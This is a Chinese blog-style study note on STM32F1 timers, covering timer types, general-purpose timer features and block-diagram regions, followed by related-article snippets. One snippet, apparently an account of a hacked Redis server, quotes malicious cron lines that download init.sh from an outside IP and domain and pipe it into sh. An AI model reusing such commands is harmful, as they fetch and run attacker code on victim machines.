STM32学习和实践笔记(20):定时器

1.定时器介绍

  STM32F1的定时器一共有8个,由2个基本定时器(TIM6、TIM7)、4个通用定时器(TIM2-TIM5)和2个高级定时器(TIM1、TIM8)组成。

基本定时器的功能最为简单,类似于51单片机内定时器。

通用定时器是在基本定时器的基础上扩展而来,增加了输入捕获与输出比较等功能。重点讲这种。

高级定时器又是在通用定时器基础上扩展而来,增加了可编程死区互补输出、重复计数器、带刹车(断路)功能,这些功能主要针对工业电机控制方面,一般情况下很少使用。

1.1 通用定时器简介

  STM32F1的通用定时器包含一个 16 位自动重载计数器(CNT),该计数器由可编程预分频器(PSC)驱动。

STM32F1的通用定时器可用于多种用途,包括测量输入信号的脉冲宽度(输入捕获)或者生成输出波形(输出比较和PWM)等。 使用定时器预分频器和 RCC 时钟控制器预分频器,脉冲长度和波形周期可以在几个微秒到几个毫秒间调整。

STM32F1 的每个通用定时器都是完全独立的,没有互相共享的任何资源。

STM32F1的通用定时器TIMx (TIM2-TIM5 )具有如下功能

(1)16 位向上、向下、向上/向下自动装载计数器(TIMx_CNT)。

(2)16 位可编程(可以实时修改)预分频器(TIMx_PSC),计数器时钟频率的分频系数为 1~65535之间的任意数值

3)4个独立通道(TIMx_CH1-4),这些通道可以用来作为

A.输入捕获:比如计算输入的脉冲的宽度

B.输出比较

C. PWM 生成(边缘或中间对齐模式)

D.单脉冲模式输出

4)可使用外部信号(TIMx_ETR)控制定时器,且可实现多个定时器互连(可以用1个定时器控制另外一个定时器)的同步电路

5)发生如下事件时定时器都可以产生中断/DMA请求

A.更新:计数器向上溢出/向下溢出,计数器初始化(通过软件或者内部/外部触发)

B.触发事件(计数器启动、停止、初始化或者由内部/外部触发计数)

C.输入捕获

D.输出比较

6)支持针对定位的增量(正交)编码器和霍尔传感器电路

7)触发输入作为外部时钟或者按周期的电流管理

1.2 通用定时器结构框图

详见中文参考手册的相关章节

图示1区是通用计数器的时钟来源区,用来给定时器提供计数的频率。

一共有四种时钟来源:一是内部时钟,二是外部时钟,来自外部引脚,三是内部的触发输入,一共有ITR0-ITR3共四个。四是外部输入引脚CH1-CH 3,

具体选择哪一个时钟来源,由从模式控制寄存器SMCR来决定。通常情况下,都是选择内部时钟作为通用定时器的时钟来源。

图示2区主要有触发控制器、从模式控制器和编码器接口三部分。

触发控制器主要输出一个触发信号给其它定时器或者DAC/ADC

从模式控制器的输出控制后面的预分频器。

图示3区主要有三个部分:ARR(自动重装寄存器),PSC和CNT。

预分频器和CNT计数器都是16位的。其值为1-65535.

每来一个CK_CNT,计数器就将从ARR里得到值增加或者减少。直到减到0或者超过初值,就产生中断或者事件。

图示4区和5区主要显示了从左边引脚输入捕获后到右边输出引脚的通道。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/2834.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【行为型模式】中介者模式

一、中介者模式概述 中介者模式定义:用一个中介对象来封装一系列的对象交互,中介者使各对象不需要显式地相互引用,从而使其耦合松散,而且可以独立地改变它们之间的交互。中介者模式又称为调停者模式。(对象行为型模式) 中介者模式…

python+django校园社交高校交友网站2x7r5.

本课题使用Python语言进行开发。代码层面的操作主要在PyCharm中进行,将系统所使用到的表以及数据存储到MySQL数据库中,方便对数据进行操作本课题基于WEB的开发平台,设计的基本思路是: 前端:vue.jselementui 框架&#…

Node.JS安装及配置教程(Windows)【安装】

文章目录 一、 Node.JS 下载1. 官网下载(1)国内地址(2)国外地址 2. 其它渠道 二、 Node.JS 安装三、 Node.JS验证四、 Node.JS 配置(可选)1. 配置全局模块安装路径方法一方法二2. 配置国内镜像 五、 yarn 安…

企业数智化:为什么选择梧桐数据库?

个人介绍:艺名司镜233,是中国移动梧桐数据库研发团队成员,从事相关的技术开发近5年了。最让我觉得自豪的不是在研发这款数据库,而是我们用代码,切实地帮助企业解决数据的困扰,切实地解决社会的问题。 本篇文…

【炼金术士】BatchSize对网络训练的影响

文章目录 1 BatchSize对于网络训练的影响2 调整学习率可以提高大BatchSize的性能3 实际训练时的建议3.1 设置初始学习率的方法3.2 多卡训练时学习率的设置 参考资料: 【深度学习】Batch Size对神经网络训练的影响【AI不惑境】学习率和batchsize如何影响模型的性能&…

AXI4---低功耗接口

在电子系统设计中,"low-power interface"(低功耗接口)是指专为减少能耗而设计的硬件接口。这类接口在不需要牺牲性能的情况下,通过各种技术降低功耗,对于移动设备、嵌入式系统和其他电池供电的应用来说尤其重…

如何更好的管理个人财务?使用极空间部署私有记账系统Firefly III

如何更好的管理个人财务?使用极空间部署私有记账系统Firefly III 哈喽小伙伴们好,我是Stark-C~ 不知道屏幕前的各位“富哥”日常生活中是怎么管理自己巨额财富的,反正对于像我这样年薪过千的摸鱼族来说,请一个专业的理财顾问多多…

Laravel 6 - 第十三章 请求

​ 文章目录 Laravel 6 - 第一章 简介 Laravel 6 - 第二章 项目搭建 Laravel 6 - 第三章 文件夹结构 Laravel 6 - 第四章 生命周期 Laravel 6 - 第五章 控制反转和依赖注入 Laravel 6 - 第六章 服务容器 Laravel 6 - 第七章 服务提供者 Laravel 6 - 第八章 门面 Laravel 6 - …

记录第一次云服务器redis被黑

redis里莫名奇妙被写入四个键值对,backup1,backup2,backup3,backup4,内容是奇奇怪怪的sh脚本:*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh http://en2an.top/cleanfda/init.sh */2 * * * * root cd1 -fsSL http…

The_Maya_Society

突然发现自己做了一些逆向题都没有写笔记 今天,发现这道题有意思 1.解压文件 三个文件The Maya Society.html,maim.cc,maya.png 当时我看到这个题的时候,我以为是不是会是js逆向 看来是我蠢了 这三个文件,main.css和maya.png这两…

PyQt5的安装和配置

1.准备工作 首先,下载Pycharm及python-3.7.5-amd64.exe并安装两个软件。 Pycharm链接: python-3.7.5-amd64.exe链接: 2.1.在线安装 pip安装PyQt5: pip install PyQt5 pip安装pyqt5-tools pip install pyqt5-tools 遇到下载…

编译原理 LR(0)

讲解视频:编译原理LR(0)分析表(上)_哔哩哔哩_bilibili 【编译原理】LR(0)分析表分析输入串_哔哩哔哩_bilibili 拓广文法 已知G:S->(S)S | ε 拓广文法: S -> S S -> (S)S S -> ε…

基于springboot的公交线路查询系统设计与实现

第1章 绪论 1.1 研究背景 互联网时代不仅仅是通过各种各样的电脑进行网络连接的时代,也包含了移动终端连接互联网进行复杂处理的一些事情。传统的互联网时代一般泛指就是PC端,也就是电脑互联网时代,但是最近几十年,是移动互联网…

中台架构下的性能测试实践方法

有同学私信问我:中台服务建设过程中,性能测试如何开展?问题背景如下: 业务背景:银行业务; 技术架构:业务应用和中台之间请求统一走ESB; 当前阶段:中台建设中,…

如何部署 wfs 分布式服务

说明: wfs是海量小文件存储系统。wfs1.x不直接支持分布式存储,但为了应对大规模部署和高可用需求,推荐采用如Nginx这样的负载均衡服务,通过合理的资源配置和定位策略,可以在逻辑上模拟出类似分布式的效果。也就是说&am…

【kettle002】kettle访问人大金仓KingbaseES数据库并处理数据至execl文件

一直以来想写下基于kettle的系列文章,作为较火的数据ETL工具,也是日常项目开发中常用的一款工具,最近刚好挤时间梳理、总结下这块儿的知识体系。 熟悉、梳理、总结下人大金仓KingbaseES数据库相关知识体系 kettle访问人大金仓KingbaseES数据库…

Linux网络-DHCP原理与配置

目录 一.DHCP工作原理 1.了解DHCP服务 1.1.使用DHCP的好处 1.2.DHCP的分配方式 2.DHCP的租约过程 2.1.DHCP工作原理 2.2.DHCP交互过程 二.DHCP服务器的配置 1.关闭防火墙 2.检查并且安装DHCP有关软件包 3.查看系统的配置文件 3.1.设置参数 4.修改网络 4.1.修改虚…

redis基于Stream类型实现消息队列,命令操作,术语概念,个人总结等

个人大白话总结 1 在Redis Stream中,即使消息被消费者确认(acknowledged, ACK),消息也不会自动从Stream数据结构中删除。这与Kafka或RabbitMQ等传统消息队列系统的做法不同,在那些系统中,一旦消息被消费并…

MyBatisPlus详解(四)通用枚举、JSON类型处理器、配置加密、自动分页插件与工具类

文章目录 前言3 扩展功能3.3 通用枚举3.3.1 使用枚举类3.3.2 功能测试 3.4 JSON类型处理器3.4.1 使用JSON类型处理器3.4.2 功能测试 3.5 配置加密3.5.1 生成密钥3.5.2 修改配置3.5.3 功能测试 4 插件功能4.1 自动分页插件4.1.1 配置分页插件4.1.2 分页API 4.2 通用分页实体4.2.…

递归实现斐波那契数列的空间复杂度的讲解

题目:计算斐波那契数列Fib的空间复杂度 过程图解: 理解要点: 递归的运算顺序和方式不是同时进行图中的所有Fib函数,而是有顺序的! 第一步:单独的一个Fib(N)进行到底Fib&#xff08…